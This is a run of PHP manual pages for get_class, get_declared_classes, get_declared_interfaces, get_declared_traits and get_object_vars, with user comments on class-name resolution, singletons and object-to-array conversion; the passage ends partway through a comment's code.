One thing to mention is, that there is no error checking in case $class is null or undefined, which would result in a fatal error. At the moment, though, I can't see how it could happen when the getInstance() is protected, i.e. has to be overridden in a subclass -- but with good coding practice you should always error check.
mightye at gmail dot com 23-Jun-2007 06:20
To: Bryan

In this model it is still workable if your singleton variable is actually an array.  Consider:
<?php
abstract class Singleton {
    protected final static $instances = array();

    protected __construct(){}

    protected function getInstance() {
        $class = get_real_class(); // imaginary function returning the final class name, not the class the code executes from
        if (!isset(self::$instances[$class])) {
            self::$instances[$class] = new $class();
        }
        return self::$instances[$class];
    }
}
class A extends Singleton {
}
class B extends Singleton {
}

$a = A::getInstance();
$b = B::getInstance();

echo "\$a is a " . get_class($a) . "<br />";
echo "\$b is a " . get_class($b) . "<br />";
?>
This would output:
$a is a A
$b is a B

The only alternative as described elsewhere is to make getInstance() protected abstract, accept the class name as an argument, and extend this call with a public final method for every sub-class which uses get_class() in its local object scope and passes it to the superclass.

Or else create a singleton factory like this:
<?php
final class SingletonFactory {
    protected static $instances = array();

    protected getInstance($class) {
        if (!isset(self::$instances[$class])) {
            self::$instances[$class] = new $class();
        }
        return self::$instances[$class];
    }
}
?>
The downside to this of course to this latter model is that the class itself doesn't get to decide if it is a singleton, the calling code gets to decide this instead, and a class that really wants or *needs* to be a singleton has no way to enforce this, not even by making its constructor protected.

Basically these design patterns, and various other meta manipulations (things which operate on the nature of the object, not on the data the object holds) could benefit greatly from knowing exactly what the final type of this object is, and not having native access to this information obligates work-arounds.
Bryan 19-Jun-2007 08:07
janci's Singleton example is all well and good, until you create another class "Bar" which also extends Singleton.

<?php
$single_foo = Foo::getInstance();
$single_bar = Bar::getInstance();
?>

$single_bar will now be an instance of Foo! This is because there is only one copy of the static variable $__instance in the Singleton class. Here is a better Singleton class:

<?php
abstract class Singleton {
    static $_instances = array();

    //Prevent singletons from being instantiated other than via getInstance();
    protected function __construct() {}
    protected function __clone() {}

    static function getInstance($class_name) {
        if(!isset(self::$_instances[$class_name])) {
            self::$_instances[$class_name] = new $class_name();
        }
        return self::$_instances[$class_name];
    }
}?>

Unfortunately, you are still required to define Foo as janci does. I would love to see an example where the only thing you add to the class is "extends Singleton" and you're done, but that seems to be impossible.
janci 30-Apr-2007 12:00
To yicheng zero-four at gmail dot com: Another, maybe better example where finding out the real class (not the class we are in) in static method should be quite usefull is the Singleton pattern.

There is currently no way how to create an abstract Singleton class that could be used just by extending it without the need to change the extended class. Consider this example:
<?php
abstract class Singleton
{
    protected static $__instance = false;

    public static function getInstance()
    {
        if (self::$__instance == false)
        {
            // This acctually is not what we want, $class will always be 'Singleton' :(
            $class = get_class();
            self::$__instance = new $class();
        }
        return self::$__instance;
    }
}

class Foo extends Singleton
{
    // ...
}

$single_foo = Foo::getInstance();
?>
This piece of code will result in a fatal error saying: Cannot instantiate abstract class Singleton in ... on line 11

The best way I figured out how to avoid this requires simple but still a change of the extended (Foo) class:
<?php
abstract class Singleton
{
    protected static $__instance = false;

    protected static function getInstance($class)
    {
        if (self::$__instance == false)
        {
            if (class_exists($class))
            {
                self::$__instance = new $class();
            }
            else
            {
                throw new Exception('Cannot instantiate undefined class [' . $class . ']', 1);
            }
        }
        return self::$__instance;
    }
}

class Foo extends Singleton
{
    // You have to overload the getInstance method in each extended class:
    public static function getInstance()
    {
        return parent::getInstance(get_class());
    }
}

$single_foo = Foo::getInstance();
?>

This is of course nothing horrible, you will propably need to change something in the extended class anyway (at least the constructor access), but still... it is just not as nice as it possibly could be ;)
yicheng zero-four at gmail dot com 27-Apr-2007 12:29
To matsgefvert dot se and Marc,

I'm sorry but I'm still having a very difficult time understanding why you would want this behavior.  I understand that you are generating some code for some persistent layer for database access.

In your code example, Marc, you say that you would like the SomeTable::read() to return "SomeTable" when called from your client.  Yet, at this point you *know* what the class name is.  Even assuming you are generating this code automatically, you can simply generate your SomeTable class as such.

<?php

class PersistedObject {
  //...
  public static function read($table, $key){
    // do some databasey stuff
    // with $table which is the table name
    return $table;
  }
}

class SomeTable extends PersistedObject {
  //...
  // make a copy in the child class
  public static function read($key){
    $table = get_class();
    return parent::read($table, $key);
  }
}

// this will now return "SomeTable"
$someTableObject = SomeTable::read(1234);

?>

I'm still failing to see how this would provide but a convenience for very rare & specific issues, at the cost of non-OOP behavior by allowing static methods to bind to objects instead of classes.

One of the most common uses for get_class() is for debugging lines, for example:

<?php

class PersistedObject {
  //...
  public static function transaction($params){
    // do some stuff
    if ($error_occurred){
      echo "Error : WTFBBQ happened in " . get_class() . "::" . __FUNCTION__ . ".  Time to get some coffee!";
  }
}

class SomeTable extends PersistedObject {
  //...
}

SomeTable::transaction( $someParams );
?>

Now, when an error occurs inside the call to SomeTable::transaction(), we get incorrect error output.
Kerry Kobashi 14-Apr-2007 11:58
It should be noted that class names are represented in lowercase under PHP 4.x.

class MyClass {
   function MyClass() {
   }
   function ShowClass() {
      echo get_class($this);
   }
}

$p = new MyClass();
$p->ShowClass();

Displays:

myclass

If you serialize $p, you will also see that the class name is lower case as well:

$p = new MyClass();
echo serialize($p);

Displays:

O:7:"myclass":1:{s:3:"val";i:100;}

In my case, this is an important point for mapping class names to database table names (and vice versa).
Marc W. 13-Apr-2007 09:40
The previous comment (from matsgefvert dot se) is 100% correct. To further elaborate on the persistence layers example suggested, consider the case where you are dynamically creating inherited objects. For example:
<?php

class PersistedObject {
//...
public static function read($key){
//You will need the table name here to actually read
// from the persistence medium
echo get_class();
}

class SomeTable extends PersistedObject {
//...
}

/*
Somewhere else in our code we would like to call the read method
*/

$someTableObject = SomeTable::read(1234);

?>
Remember that the SomeTable class would be generated on the fly, probably by some DB schema. The problem is that you would actually like the above example to output "SomeTable", but unfortunately, it will output "PersistedObject".
spam at matsgefvert dot se 24-Feb-2007 01:37
I disagree with the notion that the authors of the previous posts are unfamiliar with OOP. Without the ability to know from general (parent) objects what kind of classes we're operating on, it makes things rather difficult, especially in building frameworks that rely heavily on class types (e.g. persistence layers).

The proposed BooBoof::getclass() and CooCoof::getclass() scheme will not work in some particular scenarios since static calls aren't virtual, which means a parent class will always call its own getclass() function instead of the one needed to find out the class name.

The only solution I've found is to pass along a string containing the class name we're working on to the generalized functions. It is however an ugly solution, certainly less than ideal and goes against what OOP and reflection is all about, IMHO.
yicheng zero-four at gmail dot com 18-Jan-2007 12:22
This a response to luke at liveoakinteractive dot com and davidc at php dot net.  Static methods and variables, by definition, are bound to class types not object instances.  You should not need to dynamically find out what class a static method belongs to, since the context of your code should make it quite obvious.  Your questions reveals that you probably don't quite understand OOP quite yet (it took me a while as well).

Luke, the observed behavior from your particular code snippet makes perfect sense when you think about it.  The method getclass() is defined in BooBoof, so the __CLASS__ macro would be bound to BooBoof and defined in relation to the BooBoof class.  The fact that CooCoof is a subclass of BooBoof just means that it gains a shortcut to BooBoof::getclass().  So, in effect, you are really asking (in a convoluted way): "What is the class to which belongs the method call BooBoof::getclass()?"  The correct solution (if you actually want/need to do this) is to simply implement CooCoof::getclass() { return __CLASS__; } inside of the CooCoof definition, and any childclasses that you want to mimic this behavior.  CooCoof::getclass() will have the expected behavior.
makc dot the dot great at gmail dot com 17-Dec-2006 09:29
Check it out:

<?php

class A {
 function s () { return "A::s"; }
 function s1 () { return $this->s(); }
}

class B extends A {
 function s () { return "B::s"; }
}

$a = new A(); echo $a->s1();
echo "<br>";
$b = new B(); echo $b->s1();
echo "<br>";

class C {
 static function s () { return "C::s"; }
 static function s1 () { return self::s(); }
}

class D extends C {
 static function s () { return "D::s"; }
}

echo C::s1();
echo "<br>";
echo D::s1();
echo "<br>";

?>

Output:
A::s
B::s
C::s
C::s

Seems like static function always belong to its class.
luke at liveoakinteractive dot com 06-Dec-2006 07:03
This note is a response to the earlier post by davidc at php dot net. Unfortunately, the solution posted for getting the class name from a static method does not work with inherited classes.

Observe the following:
<?php
class BooBoof {
  public static function getclass() {
    return __CLASS__;
  }

  public function retrieve_class() {
    return get_class($this);
  }
}

class CooCoof extends BooBoof {
}

echo CooCoof::getclass();
// outputs BooBoof

$coocoof = new CooCoof;
echo $coocoof->retrieve_class();
// outputs CooCoof
?>

__CLASS__ and get_class($this) do not work the same way with inherited classes. I have been thus far unable to determine a reliable way to get the actual class from a static method.
benjaminhill at gmail dot com 27-Apr-2006 10:47
More funkyness:

class Parent {
   function displayTableName() {
      echo get_class($this);
      echo get_class();
   }
}

class Child {
   function __construct() {
      $this->displayTableName();
   }
}

Will return
- Child
- Parent

So when they say "the object isn't required in PHP5" - they don't really mean it.
brjann at NOSPAMATALLgmail dot com 16-Nov-2005 12:39
This behavior is unexpected, but good to be aware of

class parentclass {
    public function getClass(){
        echo get_class($this); //using "$this"
    }
}
class child extends parentclass {
}

$obj = new child();
$obj->getClass(); //outputs "child"

class parentclass {
    public function getClass(){
        echo get_class(); //note, no "$this"
    }
}
class child extends parentclass {
}

$obj = new child();
$obj->getClass(); //outputs "parentclass"
davidc at php dot net 13-Oct-2005 10:25
As of php5, you cannot use get_class($this); in a public static function. You would have to do something like this:

<?php

class BooBoof {
    public static function getclass()
    {
        return __CLASS__;
    }
}

$c = BooBoof::getclass();
print $c;
?>

To get the class since you cannot use
<?php
public static function getclass()
{
    return get_class($this);
}
?>

Rather simple and straightforward but that might help some people that are searching for it..
wired at evd dot ru 25-Sep-2005 02:25
There is one unexpected bahaviour (for me as least):

<?php

  class parent
  {
    ...

    public function getInstance ($id)
    {
      ...

      print get_class() . "\n" . __CLASS__;

      ...
    }
  }

  class child extends parent
  {
    ...
  }

  child::getInstance(...);
?>

This code will produce:

  parent
  parent

So I can't make "new $className(...)" in getInstance(). The only option is to do a fabric.
kunxin at creaion dot com 25-Jul-2005 05:30
I just migrated from PHP 4 to PHP 5 and noticed that in PHP 5.03 that a lot of code dependent on get_class() and its variants stop working.

It turns out that get_class() and its variants are now case-sensitive.
refrozen dot com 05-Jul-2005 03:01
philip at cornado dot com, it returns the value of the class from which it was called, rather than the instance's name... causing inheritance to result in unexpected returns
MagicalTux at FF.ST 02-Feb-2004 04:11
Note that the constant __CLASS__ is different from get_class($this) :
<?
  class test {
    function whoami() {
      echo "Hello, I'm whoami 1 !\r\n";
      echo "Value of __CLASS__ : ".__CLASS__."\r\n";
      echo "Value of get_class() : ".get_class($this)."\r\n\r\n";
    }
  }
  class test2 extends test {
    function whoami2() {
      echo "Hello, I'm whoami 2 !\r\n";
      echo "Value of __CLASS__ : ".__CLASS__."\r\n";
      echo "Value of get_class() : ".get_class($this)."\r\n\r\n";
      parent::whoami(); // call parent whoami() function
    }
  }
  $test=new test;
  $test->whoami();
  $test2=new test2;
  $test2->whoami();
  $test2->whoami2();
?>

The output is :
Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test

Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test2

Hello, I'm whoami 2 !
Value of __CLASS__ : test2
Value of get_class() : test2

Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test2

In fact, __CLASS__ returns the name of the class the function is in and get_class($this) returns the name of the class which was created.
Dan 29-Jan-2003 10:00
This function does return the class name in lowercase, but that does not seem to make any difference. The code below, although very sloppy, works fine in all of the following configurations.

PHP 4.2.2 on Windows NT5 with Apache 1.3.24
PHP 4.2.1 in Zend Development Environment on box above
PHP 4.2.3 on Linux RedHat 7.3 with Apache 1.3.27

class TeSt {
   var $a;
   var $b = "Fred";

   // Notice the case difference in the constructor name

   function Test() {
      $classname = get_class($this); // $classname = "test"
      $this->ra = get_class_vars($classname);
   }
}
// Next line also works with Test(), TEST(), or test()
$obj = new TeSt();
print_r($obj->ra);

Result :
   Array
   (
       [a] =>
       [b] => Fred
   )
oliver DOT pliquett @mediagear DOT de 13-Aug-2002 08:07
This function can become _VERY_ helpful if you want to return a new object of the same type. See this example:

<?php
class Foo{
    var $name;

    function Foo( $parameter ){
        $this->name = $parameter;
    }

    function whoami() {
        echo "I'm a " . get_class( $this ) ."\n";
    }

    function getNew() {
        $className = get_class( $this );

        // here it happens:
        return new $className ( "world" ) ;
    }
}
class Bar extends Foo {

    function Bar( $name ){
        $this->Foo( $name );
    }

    function welcome() {
        echo "Hello, " . $this->name .  "! \n";
    }
}

// We generate a Bar object:
$myBar = new Bar( "Oliver" );
$myBar->welcome();

//now let's instanciate a new Bar object.
//note: this method is inherited from Foo by Bar!

$baba = $myBar->getNew();

$baba->welcome();
$baba->whoami();

/* Output:
Hello, Oliver!
Hello, world!
I'm a bar
*/
?>
philip at cornado dot com 20-Jun-2002 12:15
As of PHP 4.3.0 the constant __CLASS__ exists and contains the class name.
get_class_vars
get_declared_classes
Classes/Object Functions


Returns an array with the name of the defined classes

get_class
get_declared_interfaces
Classes/Object Functions
PHP Manual

get_declared_classes

(PHP 4, PHP 5)

get_declared_classes — Returns an array with the name of the defined classes

Description

array get_declared_classes ( void )

Gets the declared classes.

Return Values

Returns an array of the names of the declared classes in the current script.

Note:

Note that depending on what extensions you have compiled or loaded into PHP, additional classes could be present. This means that you will not be able to define your own classes using these names. There is a list of predefined classes in the Predefined Classes section of the appendices.

Examples

Example #1 get_declared_classes() example

<?php
print_r(get_declared_classes());
?>

The above example will output something similar to:

Array
(
    [0] => stdClass
    [1] => __PHP_Incomplete_Class
    [2] => Directory
)

See Also

  • class_exists() - Checks if the class has been defined
  • get_declared_interfaces() - Returns an array of all declared interfaces
  • get_defined_functions() - Returns an array of all defined functions

User Contributed Notes

dcahh at gmx de 29-Feb-2008 09:23
This function considers only classes and subclasses. Not subsubclasses.

In fact I have code that provides an abstract class and then classes using this abstract class. Further I have subclasses to my concrete classes - which is why my subclasses are not listed within the returned array.
dexen + goofy _ pl 25-Sep-2007 11:32
Summary:
 * in PHP 5.1 class names have case preserved
 * contrary, in PHP 4.4 class names are downcased, withe exception of a few build-in ones

The get_declared_classes() funcition returns the list of names with case preserved, as of PHP 5.1 series (prolly 5.0 too, but i have no way to test it right now). Since PHP generally is caseless in regard to names of classes, this may come at a surprise. Also, this could potentially break older code asssuming downcased list.

Take extra care when  checking for existence of a class. Following example is, potentially, error prone: <?php in_array( $className, $classget_declared_classes() ) ?>

A sure-fire (while slower) way would be to iterate over the array and normalize case to, say, lower:

<?php
$exists = FALSE;
$className = strtolower( $className );
foreach ( get_declared_classes() as $c ) {
    if ( $className === strtolower( $c ) ) {
        $exists = TRUE;
        break;
    }
}?>

Optimization of the above snippet is left as a simple excercise to the reader ;)
-- dexen deVries
matt at mattsoft dot net 21-Dec-2005 02:58
classes can't be unloaded. probably not very practical to implement that in a future version. I wouldn't go out of my way to do it if I were zend. you're better off finding a workaround. it's better programming technique to find a way around having to do that anyway.

http://www.zend.com/zend/week/week223.php#Heading10
22-Mar-2005 09:16
Regarding note of 3-21:

<?php

class myclass {}

$class = 'myclass';
$instance = new $class();

?>

This function could also be used to determine the names of classes defined in a particular file by calling it before and after include. It's hardly a pointless function.
matt-php at DONT-SPAM-ME dot bitdifferent dot com 01-Nov-2004 07:41
The array returned by this function will be in the order the classes were defined / included / required and this order does not appear to change.

For example:

<?PHP

//define classone
class classone { }

//define classtwo
class classtwo { }

//This will show X classes (built-ins, extensions etc) with
//classone and classtwo as the last two elements

print_r(get_declared_classes());

//define classthree
class classthree { }

//...and four
class classfour { }

//Shows the same result as before with class three and four appended
print_r(get_declared_classes());

?>

Output:

Array
(
   [0] => stdClass
   [1] .... other defined classes....
   [10] => classone
   [11] => classtwo
 )

and...

Array
(
   [0] => stdClass
   [1] .... other defined classes....
   [10] => classone
   [11] => classtwo
   [12] => classthree
   [13] => classfour
)
Jazeps Basko 07-Feb-2004 11:52
In PHP5, you don't get declared interfaces by calling this function!!!
To get interfaces you should use get_declared_interfaces(). However, to check if an interface is already defined, you should use class_exists()! This is strange, but PHP team does not think so.
smokey 20-Mar-2003 03:06
you cannot remove them. they are "defined", which happens when the class is being loaded from the parser. you just deleted an instance of a class.
Leigh Purdie 23-Jan-2003 01:01
Note that classes remain in the declared list, even when their associated object is undef'd.

eg:
    $object = new MyClass;
    print_r(get_declared_classes());

    undef($object);
    print_r(get_declared_classes());

- the two print_r's will return the same data.
Not sure how to remove a class from the declared list.
get_class
get_declared_interfaces
Classes/Object Functions


Returns an array of all declared interfaces

get_declared_classes
get_declared_traits
Classes/Object Functions
PHP Manual

get_declared_interfaces

(PHP 5)

get_declared_interfaces — Returns an array of all declared interfaces

Description

array get_declared_interfaces ( void )

Gets the declared interfaces.

Return Values

Returns an array of the names of the declared interfaces in the current script.

Examples

Example #1 get_declared_interfaces() example

<?php
print_r(get_declared_interfaces());
?>

The above example will output something similar to:

Array
(
    [0] => Traversable
    [1] => IteratorAggregate
    [2] => Iterator
    [3] => ArrayAccess
    [4] => reflector
    [5] => RecursiveIterator
    [6] => SeekableIterator
)

See Also

  • get_declared_classes() - Returns an array with the name of the defined classes
  • class_implements() - Return the interfaces which are implemented by the given class

User Contributed Notes

There are no user contributed notes for this page.
get_declared_classes
get_declared_traits
Classes/Object Functions


Returns an array of all declared traits

get_declared_interfaces
get_object_vars
Classes/Object Functions
PHP Manual

get_declared_traits

(No version information available, might only be in SVN)

get_declared_traits — Returns an array of all declared traits

Description

array get_declared_traits ( void )

Parameters

This function has no parameters.

Return Values

Returns an array with names of all declared traits in values. Returns NULL in case of a failure.

See Also

  • class_uses() - Return the traits used by the given class

User Contributed Notes

There are no user contributed notes for this page.
get_declared_interfaces
get_object_vars
Classes/Object Functions


Gets the properties of the given object

get_declared_traits
get_parent_class
Classes/Object Functions
PHP Manual

get_object_vars

(PHP 4, PHP 5)

get_object_vars — Gets the properties of the given object

Description

array get_object_vars ( object $object )

Gets the accessible non-static properties of the given object according to scope.

Parameters

object

An object instance.

Return Values

Returns an associative array of defined object accessible non-static properties for the specified object in scope. If a property have not been assigned a value, it will be returned with a NULL value.

Changelog

Version | Description
5.3.0 | This function now returns NULL if the object isn't an object.
prior to 5.3.0 | If the object isn't an object, then get_object_vars() would return FALSE
prior to 4.2.0 | If the variables declared in the class of which the object is an instance, have not been assigned a value, those will not be returned in the array

Examples

Example #1 Use of get_object_vars()

<?php

class foo {
    private $a;
    public $b = 1;
    public $c;
    private $d;
    static $e;

    public function test() {
        var_dump(get_object_vars($this));
    }
}

$test = new foo;
var_dump(get_object_vars($test));

$test->test();

?>

The above example will output:

array(2) {
  ["b"]=>
  int(1)
  ["c"]=>
  NULL
}
array(4) {
  ["a"]=>
  NULL
  ["b"]=>
  int(1)
  ["c"]=>
  NULL
  ["d"]=>
  NULL
}

See Also

  • get_class_methods() - Gets the class methods' names
  • get_class_vars() - Get the default properties of the class

User Contributed Notes

elminster2031 at hotmail dot com 07-Jul-2010 12:30
Also note that this is recursive. For example:

<?php
class Sarah{

    private $Father;
    private $Mother;

    public function __construct(){
        $this->Father    =    NULL; //I don't know Sarah's Father
        $this->Mother    =    NULL; //I don't know Sarah's Mother
    }
}
class John_Connor{

    private $Father;
    private $Mother;

    public function __construct(){
        $this->Father    =    $this; //John went back in time and fathered himself
        $this->Mother    =    new Sarah(); //Sarah was his mom and his mate ewww
    }

    public function showParents(){
        return get_object_vars($this);
    }
}

$John    =    new John_Connor();
var_dump($John->showParents());
?>

You will see this outputs:

array(2) {
  ["Father"]=>
  object(John_Connor)#1 (2) {
    ["Father":"John_Connor":private]=>
    object(John_Connor)#1 (2) {
      ["Father":"John_Connor":private]=>
      *RECURSION*
      ["Mother":"John_Connor":private]=>
      object(Sarah)#2 (2) {
        ["Father":"Sarah":private]=>
        NULL
        ["Mother":"Sarah":private]=>
        NULL
      }
    }
    ["Mother":"John_Connor":private]=>
    object(Sarah)#2 (2) {
      ["Father":"Sarah":private]=>
      NULL
      ["Mother":"Sarah":private]=>
      NULL
    }
  }
  ["Mother"]=>
  object(Sarah)#2 (2) {
    ["Father":"Sarah":private]=>
    NULL
    ["Mother":"Sarah":private]=>
    NULL
  }
}
joelhy 12-Jun-2010 05:56
Here is a function for getting only public properties even if you are in the class:
<?php
function my_get_object_vars($obj) {
    $ref = new ReflectionObject($obj);
    $pros = $ref->getProperties(ReflectionProperty::IS_PUBLIC);
    $result = array();
    foreach ($pros as $pro) {
        false && $pro = new ReflectionProperty();
        $result[$pro->getName()] = $pro->getValue($obj);
    }

    return $result;
}
?>
benny at nospam dot com 26-Dec-2009 01:31
Be aware of the fact that this is scope-sensitive. If you're calling this from an objects own method, then private and protected vars will be outputted as well. Call it from outside the object and the result will most likely be what you want to archive.
rarioj at gmail dot com 08-Sep-2009 09:57
General purpose functions to convert an array (multidimensional) to object, and vice versa:

<?php

// From object to array.
function toArray($data) {
    if (is_object($data)) $data = get_object_vars($data);
    return is_array($data) ? array_map(__FUNCTION__, $data) : $data;
}

// From array to object.
function toObject($data) {
    return is_array($data) ? (object) array_map(__FUNCTION__, $data) : $data;
}

?>
huzursuz at mailinator dot com 02-Feb-2009 08:44
better version of conv_obj, based on XML... this converts XML to an array... use it by

<?php
$result = xmlobj2arr(simplexml_load_string($xmlContent));

function xmlobj2arr($Data) {
       if (is_object($Data)) {
               foreach (get_object_vars($Data) as $key => $val) {
                       $ret[$key] = xmlobj2arr($val);
               }
               return $ret;
       } elseif (is_array($Data)) {
               foreach ($Data as $key => $val) {
                       $ret[$key] = xmlobj2arr($val);
               }
               return $ret;
       } else {
               return $Data;
       }
}
?>
jon at websandbox dot net 05-Jul-2008 09:00
If you're using the SPL ArrayObject class (or similar, or the ArrayAccess interface), you may have noticed that it's difficult to loop through an object's properties.

get_object_vars does not return the properties of an ArrayObject.  The only workaround I can see is to use get_class_vars.

<?php
$obj = new ArrayObject();
$obj->foo = "bar";
$obj[] = "1";
$obj[] = "2";
foreach($obj as $key => $value) {
 // will iterate over the array, iterating over "1" and "2", but ignoring $obj->foo
}

var_dump($obj); // dumps the array values, ignores $obj->foo

$a = get_object_vars($obj); // returns an empty array

class Fart extends ArrayObject {
    public $foo = "bar";
}

$obj = new Fart();
$a = get_object_vars($obj); // return an empty array
$a = get_class_vars(get_class($obj)); // returns array("foo"=>"bar"), Yay!

/* The above works with subclasses as well */
class Toot extends Fart {
    public $weeble = "wobble";
}

$a = get_class_vars(get_class($obj));
// returns array("weeble" => "wobble", "foo"=>"bar"), Yay again!

?>

So, to iterate over the properties of an ArrayObject, and not the array values:

<?php

$obj = new Toot(); // which is a subclass of ArrayObject
$props = get_class_vars(get_class($obj));
foreach($props as $prop => $defaultValue) {
  $value = $obj->$prop; // now you have the property name and  its value
}

?>
pardini at gmail dot com 08-May-2008 04:38
get_object_vars() has confusing behaviour when called as get_object_vars($this) or similar: since a method inside a class definition can access private vars, apparently so can get_object_vars(), so it returns private vars as well.

A simple workaround is to define a method that in itself calls get_object_vars, like:

<?php
function getPublicObjectVars($obj) {
  return get_object_vars($obj);
}

class Smth {
  private $notShown = 1;
  public $shown = 2;

  function test() {
    $vars = get_object_vars($this); // includes 'notShown'
    $vars = getPublicObjectVars($this); // only 'shown'
  }

}
?>
Jaymon (php at marcyes dot com) 06-Jan-2008 11:16
This method returns all the public, private, and protected vars of a given object. There are some other solutions presented in the comments but they didn't seem to preserve arrays, etc..

Hope it can help someone...

<?php
function parseObject($obj, $values=true){

    $obj_dump  = print_r($obj, 1);
    $ret_list = array();
    $ret_map = array();
    $ret_name = '';
    $dump_lines = preg_split('/[\r\n]+/',$obj_dump);
    $ARR_NAME = 'arr_name';
    $ARR_LIST = 'arr_list';
    $arr_index = -1;

    // get the object type...
    $matches = array();
    preg_match('/^\s*(\S+)\s+\bObject\b/i',$obj_dump,$matches);
    if(isset($matches[1])){ $ret_name = $matches[1]; }//if

    foreach($dump_lines as &$line){

      $matches = array();

      //load up var and values...
      if(preg_match('/^\s*\[\s*(\S+)\s*\]\s+=>\s+(.*)$/', $line, $matches)){

        if(mb_stripos($matches[2],'array') !== false){

          $arr_map = array();
          $arr_map[$ARR_NAME] = $matches[1];
          $arr_map[$ARR_LIST] = array();
          $arr_list[++$arr_index] = $arr_map;

        }else{

          // save normal variables and arrays differently...
          if($arr_index >= 0){
            $arr_list[$arr_index][$ARR_LIST][$matches[1]] = $matches[2];
          }else{
            $ret_list[$matches[1]] = $matches[2];
          }//if/else

        }//if/else

      }else{

        // save the current array to the return list...
        if(mb_stripos($line,')') !== false){

          if($arr_index >= 0){

            $arr_map = array_pop($arr_list);

            // if there is more than one array then this array belongs to the earlier array...
            if($arr_index > 0){
              $arr_list[($arr_index-1)][$ARR_LIST][$arr_map[$ARR_NAME]] = $arr_map[$ARR_LIST];
            }else{
              $ret_list[$arr_map[$ARR_NAME]] = $arr_map[$ARR_LIST];
            }//if/else

            $arr_index--;

          }//if

        }//if

      }//if/else

    }//foreach

    $ret_map['name'] = $ret_name;
    $ret_map['variables'] = $ret_list;
    return $ret_map;

  }//method
?>
biga888 AT gmail 19-Nov-2007 12:48
Just thought I would pass this on.

Working with PHP 5.2.4

In Windows this works by reading the vars from the passed in object and copying them to the vars of the current object.

    public function copyMe(User $user) {
        $varArray = get_object_vars($this);
        $copyVarArray = get_object_vars($user);
        foreach ($varArray as $key=>$value) {
            $this->$key = $copyVarArray[$key];
        }
    }

This did not work in Linux, I had to add another function to return the array of vars. Calling get_array_vars on the passed in object would return an empty array.

        public function copyMe(User $user) {
        $varArray = $this->getArray();
        $copyVarArray = $user->getArray();
        foreach ($varArray as $key=>$value) {
            $this->$key = $copyVarArray[$key];
        }
    }

    public function getArray() {
        return get_object_vars($this);
    }
Hayley Watson 07-Oct-2007 04:31
Progressively simplifying the method of the previous post.

The first part of the simplification came when it was realised that everything being passed to it was being checked twice to see if it was an array or an object - once before the function is called, and once after the function had begin.
The latter pair of tests are retained so that they do not need to be made explicitly in other part of the program before calling the function in the first place.
<?php
function conv_obj($Data){
    if(is_object($Data)){
        foreach(get_object_vars($Data) as $key=>$val){
                $ret[$key]=conv_obj($val);
        }
        return $ret;
    }elseif(is_array($Data)){
        foreach($Data as $key=>$val){
                $ret[$key]=conv_obj($val);
        }
        return $ret;
    }else{
        return $Data;
    }
}
?>

Reversing the tests to get the simplest case out of the way first.
<?php
function conv_obj($Data){
    if(!is_object($Data) && !is_array($Data)) return $Data;

    if(is_object($Data)){
        foreach(get_object_vars($Data) as $key=>$val){
                $ret[$key]=conv_obj($val);
        }
        return $ret;
    }else{
        foreach($Data as $key=>$val){
                $ret[$key]=conv_obj($val);
        }
        return $ret;
    }
}
?>

The only difference between the two loops is in what they are iterating over.
<?php
function conv_obj($Data){
    if(!is_object($Data) && !is_array($Data)) return $Data;

    if(is_object($Data)){
        $vars = get_object_vars($Data);
        foreach($vars as $key=>$val){
                $ret[$key]=conv_obj($val);
        }
        return $ret;
    }else{
        $vars = $Data;
        foreach($vars as $key=>$val){
                $ret[$key]=conv_obj($val);
        }
        return $ret;
    }
}
?>

Moving the common tail of the if statement's two branches:
<?php
function conv_obj($Data){
    if(!is_object($Data) && !is_array($Data)) return $Data;

    if(is_object($Data)){
        $vars = get_object_vars($Data);
    }else{
        $vars = $Data;
    }

    foreach($vars as $key=>$val){
            $ret[$key]=conv_obj($val);
    }
    return $ret;
}
?>

A lot of the time $vars===$Data, and when it doesn't we don't need $Data any more anyway, so we re-use the $Data variable instead of bringing in a new $vars variable, and then we can drop the do-nothing else branch:
<?php
function conv_obj($Data){
    if(!is_object($Data) && !is_array($Data)) return $Data;

    if(is_object($Data)) $Data = get_object_vars($Data);

    foreach($Data as $key=>$val){
            $ret[$key]=conv_obj($val);
    }
    return $ret;
}
?>

A case for using array_map():
<?php
function conv_obj($Data){
    if(!is_object($Data) && !is_array($Data)) return $Data;

    if(is_object($Data)) $Data = get_object_vars($Data);

    $ret = array_map('conv_obj', $Data);
    return $ret;
}
?>

And finally the return variable is otherwise unused:
<?php
function conv_obj($Data){
    if(!is_object($Data) && !is_array($Data)) return $Data;

    if(is_object($Data)) $Data = get_object_vars($Data);

    return array_map('conv_obj', $Data);
}
?>
firemouth at gmail dot com 10-Sep-2007 06:48
This is a slight modification of the previous poster's function.  We ran into a problem using this function when we had a JS array nested inside a JS hash.

Something like this...

myHash = new Hash();
myHash[address] = new Array();

When we threw that at this function, it found the first hash as an object, and then using the previous poster's function, it did not consider the array as an "object."  Instead it gave us a std_object type and we were unable to make any use of it.

The modification we made was adding a check for is_array inside both the is_object and is_array checks when you call the function.  This checks for an array inside either an object or a nested array.

function conv_obj($Data){
    if(is_object($Data)){

        foreach(get_object_vars($Data) as $key=>$val){
            if(is_object($val) || is_array($val)){
                $ret[$key]=conv_obj($val);
            }else{
                $ret[$key]=$val;
            }
        }
        return $ret;
    }elseif(is_array($Data)){
        foreach($Data as $key=>$val){
            if(is_object($val) || is_array($val)){
                $ret[$key]=conv_obj($val);
            }else{
                $ret[$key]=$val;
            }
        }
        return $ret;
    }else{
        return $Data;
    }
}
C.H. 15-Aug-2007 06:03
function conv_obj($Data){
     if(is_object($Data)){
         foreach(get_object_vars($Data) as $key=>$val){
             if(is_object($val)){
                 $ret[$key]=conv_obj($val);
             }else{
                 $ret[$key]=$val;
             }
         }
         return $ret;
     }elseif(is_array($Data)){
         foreach($Data as $key=>$val){
             if(is_object($val)){
                 $ret[$key]=conv_obj($val);
             }else{
                 $ret[$key]=$val;
             }
         }
         return $ret;
     }else{
         return $Data;
     }
 }

Very simple function to convert any Subobject to an array.
Created it while working with Soap.
For me as an beginner with PHP, very useful :o)
thinice at gmail dot com 13-Aug-2007 10:46
To add to my previous comment - the error message should have meant same structure.

As my implementation called for cross-class comparison.
thinice at gmail dot com 25-Jul-2007 02:21
If you're looking to compare to like objects this is a way you can do it:
<?
function objCompare($oA, $oB) {
    $oVarsA=get_object_vars($oA);
    $oVarsB=get_object_vars($oB);
    if(($aKeys=array_keys($oVarsA)) !== array_keys($oVarsB)) {
